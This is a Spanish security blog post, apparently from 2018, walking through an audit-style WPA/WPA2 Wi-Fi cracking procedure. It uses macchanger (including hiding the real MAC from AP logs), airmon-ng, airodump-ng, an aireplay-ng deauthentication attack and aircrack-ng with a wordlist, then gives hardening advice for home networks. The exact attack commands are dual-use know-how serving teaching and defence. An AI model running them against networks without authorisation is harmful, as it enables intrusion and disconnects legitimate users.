Algo que nos puede dar un poco más de confianza en la fortificación de nuestras passwords, sería comprobarlas previamente generando el hash NTLM a partir de tu contraseña. Lógicamente es un pequeño extra de seguridad, no lo hace ni mucho menos más seguro. Simplemente demorarías el tiempo de un ataque por diccionario a un atacante y la facilidad de obtener una contraseña.

Algunas webs que podemos usar para la generación de hashes NTLM:
Figura 18: Generar hashes NTLM a partir de una contraseña.

Saludos!

15 agosto, 2018

Seguridad en redes Wifi: Fuerza bruta al sistema WPA (Wi-Fi Protected Access)

Actualmente ya hay suficiente información sobre este tipo de técnicas de ataque para comprometer al seguridad de redes WPA. Recientemente he tenido que realizar una auditoría a redes Wi-Fi y revisando entradas del blog aún no había comentado nada sobre esto por lo que a modo de guía comentaré el procedimiento habitual en una conocido y funcional ataque de deautenticación (Wi-Fi deauth attack) donde habrá que desconectar a un cliente previamente conectado a la red que vamos a realizar el ataque, capturar el WPA handshake y finalmente aplicar fuerza bruta al fichero de captura de tráfico .cap obtenido.

A día de hoy pocas redes inalámbricas están operando bajo el sistema de protección WEP (Wired Equivalent Privacy) o el estándar "IEEE 802.11" debido a las debilidades que este mecanismo de protección presenta. 

En la actualidad la mayoría ya están configuradas con WPA (Wi-Fi Protected Access) o el estándar "IEEE 802.11i" la cual mejora sustancialmente su seguridad respecto a WEB, aunque igualmente sigue siendo igual de susceptible a ataques de fuerza bruta y de ahí la importancia de proteger estas redes a través de una contraseña muy robusta y establecer el algoritmo de cifrado más robusto disponible como por ejemplo PSK y no la combinación de ambos (PSK-TKIP) ya que TKIP presenta principalmente la vulnerabilidad de ataques de recuperación de keystream al contrario que PSK.

En este escenario se ha utilizado un adaptador USB Alfa Network AWUS036NH como interface de red para la captura inalámbrica. Usaremos Aircrack-ng una suite de herramientas para la evaluación de seguridad en redes inalámbricas.

macchanger

MAC Changer nos permite la manipulación de las direcciones MAC de las interfaces de red. Nos podremos encontrar redes inalámbricas en las que están configuradas restricciones de conexión según la dirección MAC origen. Es decir, que solo una whitelist conocida de direcciones MAC se puedan conectar a ese AP (Access Point).

Vamos a ver que estas limitaciones no es una buena medida de seguridad. Ya que podremos suplantar o cambiar la MAC por otro de los dispositivos que ya esté previamente conectado y que podamos conocer su MAC simplemente analizando el tráfico estemos o no conectados al AP. 

El cambiar la dirección MAC (aunque sea a una aleatoria como veremos en este caso) de nuestra inferface evitará que dejemos rastros en los logs de conexión del AP de nuestra verdadera MAC.

ifconfig wlan0 down
macchanger -A wlan0
ifconfig wlan0 up

Figura 1: macchanger - cambiar dirección MAC en la interface de red de captura de tráfico.

Airmon-ng

Airmon-ng nos permite activar o desactivar el modo monitor de nuestra interface de red. En este caso tendremos que habilitar el modo monitor para nuestra interface de red wlan0 donde quedará establecida como wlan0mon.

  • Modo monitor: Este modo permite la captura de los paquetes de una red inalámbrica sin estar asociados o conectados a una red.
  • Modo promiscuo: Este modo permite la captura de los paquetes tanto en red cableada como inalámbrica que esté previamente conectado a una red.

airmon-ng start wlan0

Figura 2: Habilitar el modo monitor en la interface de red inalámbrica wlan0.

Airodump-ng

Airodump-ng se usa para capturar paquetes inalámbricos y es útil para ir acumulando vectores de inicialización IVs con el fin de intentar usarlos con Aircrack-ng y obtener la clave WEP o WPA. Puedes convertir archivos .cap / .dump a formato .ivs o juntarlos.

Como conceptos principales debemos saber que es un SSID y BSSID. 

  • SSID o ESSID (Service Set Identifier): Compuesto por un máximo de 32 octetos será el nombre que identifica la red inalámbrica.
  • BSSID (Basic Service Set Identifier): Será la dirección MAC del punto de acceso.
Si el SSID estuviese oculto en la red inalámbrica Airodump-ng intentará averiguarlo analizando los paquetes "probe responses" y "association requests" (son paquetes enviados desde un cliente al AP).

En este escenario nos enfocaremos en la red con ESSID "testing"
airodump-ng wlan0mon
Figura 3: Capturar tráfico y descubrir redes inalámbricas con Airodump-ng.
airodump-ng -c 8 –-bssid 72:B4:E6:CE:01:2D --write wpa2-salida-01 wlan0mon
-c: Número del canal de la red que aparece en la columna CH. En este caso es 8.
--bssid: Dirección MAC de la red objetivo. En este caso "testing" y el BSSID 72:B4:E6:CE:01:2D.
--write: Archivo de captura en la que se guardarán los paquetes. En este caso "wpa2-salida-01".
wlan0mon: Nombre de la interface inalámbrica.

Aireplay-ng

Aireplay-ng se usa para inyectar paquetes. Su función principal es generar tráfico para usarlo más tarde con aircrack-ng y poder crackear claves WEP y WPA-PSK. Hay varios ataques diferentes que se pueden utilizar para hacer deautenticaciones con el objetivo de capturar un handshake WPA, para realizar una falsa autenticación, un reenvío interactivo de un paquete, o una reinyección automática de un ARP-request. Con el programa packetforge-ng es posible crear paquetes "ARP request" de forma arbitraria.

En este escenario usaremos el tipo de ataque deautth que consiste en enviar paquetes de deautenticación a uno o más clientes que están actualmente asociados a un punto de acceso (este ataque es totalmente inútil si no existen clientes wireless asociados).

aireplay-ng -0 1 -a 72:B4:E6:CE:01:2D -c 70:3A:51:01:62:A3 wlan0mon

-0: Significa deautenticación.
1: Número de deautenticaciones a enviar (puedes enviar todas las que quieras), 0 significa enviarlas continuamente.
-a: Dirección MAC del punto de acceso (72:B4:E6:CE:01:2D).
-c: Dirección MAC del cliente previamente conectado a deautenticar (STATION: 70:3A:51:01:62:A3), si se omite o con el parámetro -e se especifica el SSID (nombre de la red) serán deautenticados todos los clientes.
wlan0mon: Nombre de la interface inalámbrica.

Figura 4: Ataque deauth para capturar el handshake con Aireplay-ng.

Aircrack-ng

Aircrack-ng será la herramienta principal para el descifrado de claves 802.11 WEP y 802.11i WPA/WPA2-PSK.

aircrack-ng -w /usr/share/wordlist/rockyou.txt wpa2-salida-01.cap

Con el parámetro -w indicaremos el diccionario (será uno de los diccionarios más utilizados y por defecto en máquinas Kali "rockyou.txt") que se utilizará para llevar a cabo el ataque de fuerza bruta y posteriormente indicamos el fichero .cap que se obtuvo con Aireplay-ng.

Figura 5: Usando Aircrack-ng para descifrar la clave de la red inalámbrica.

En este escenario de ejemplo para hacerlo más formativo y rápido se estableció una contraseña sencilla y común en prácticamente cualquier diccionario empleado para fuerza bruta. Se puede ver como se encontró con éxito la clave de la red inalámbrica en unos 5 segundos.

Figura 6: Descifrado con éxito y clave inalámbrica encontrada.

Más info sobre la suite de Aircrack-ng: https://www.aircrack-ng.org/doku.php?id=Main

Recomendaciones para mejorar la seguridad de redes inalámbricas

En escenarios empresariales existen muchos otros mecanismos e integraciones así como la posibilidad de añadir capas adicionales de seguridad perimetral, segmentación y monitoreo continuo de puntos de red inalámbricas.

Pero estas recomendaciones van más enfocadas a las redes domésticas de hogar para intentar proteger lo máximo posible dentro su limitado alcance tecnológico y de configuración.

1. Deshabilitar WPS (Wi-Fi Protected Setup)

Se trata de un mecanismo de seguridad wifi para conectar a un router con otro dispositivo a través de un WPS PIN (una clave de 8 dígitos) la cual se puede introducir manualmente o autenticarse automáticamente dependiendo el tipo de dispositivo. Esto es verdad que facilita la autenticación en una primera vez entre dispositivos a la red pero también es un punto muy débil de seguridad tenerlo habilitado existen multitud de herramientas para realizar fuerza bruta a este tipo de autenticaciones WPSPinGenerator, Wash, Reaver, Bullycioso, PixieWPS, entre las más conocidas.

2. Establecer una contraseña de autenticación robusta

En tecnologías inalámbricas Wifi es la medida principal de protección a día de hoy. Considero que es el punto más importante, en ataques WEP no es así, pero en WPA/2 independientemente de la técnica realizada finalmente todo se resume en capturar un handshake y aplicar fuerza bruta a través de diccionarios. Por lo que cambiar la contraseña por defecto a una contraseña lo suficientemente robusta y compleja (alfanumérica, signos, longitud mínima de 35 caracteres en el caso de WPA) es un básico a realizar para que sea difícilmente costoso o prácticamente imposible por cuestión de tiempo físico poder ser crackeada o descifrada.

3. Usar los sistemas y cifrados más robustos disponibles

Toda contraseña tiene que estar protegida por un buen cifrado. Será fundamental acompañar la contraseña compleja comentada anteriormente con el último sistema de autenticación disponible como puede ser WPA2 con cifrado PSK (AES). Sistemas WEP o cifrados TKIP ya han sido ampliamente vulnerados y no se consideran seguros.

4. Mantener actualizado el software del punto de acceso o enrutador

Recomendación de seguridad básica para cualquier tecnología o servicio. Intenta mantener actualizados todos tus dispositivos.

5. Apagar la red inalámbrica si no la usas

Alto ten sencillo como "Si no lo usas, desactívalo".

6. Recomendaciones de seguridad adicionales 

Ahora podría indicar una serie de recomendaciones adicionales que se pueden encontrar en la mayoría de webs cuando buscas sobre esto como puede ser: "cambia el nombre SSID del dispositivo, no permitas que el dispositivo inalámbrico indique su presencia (ocultar SSID), disponer de un whitelist de direcciones MAC permitidas para conectarse, etc.

Como ya hemos visto en este artículo mostrando un sencillo ataque deauth. Opciones como limitar a las MAC conocidas y ocultar el SSID es algo que no no resta seguridad pero tampoco nos aporta gran protección, ya que es fácil suplantar direcciones MAC (macchanger) y poder encontrar redes ocultas (airodump-ng). 

Saludos!

Entradas Populares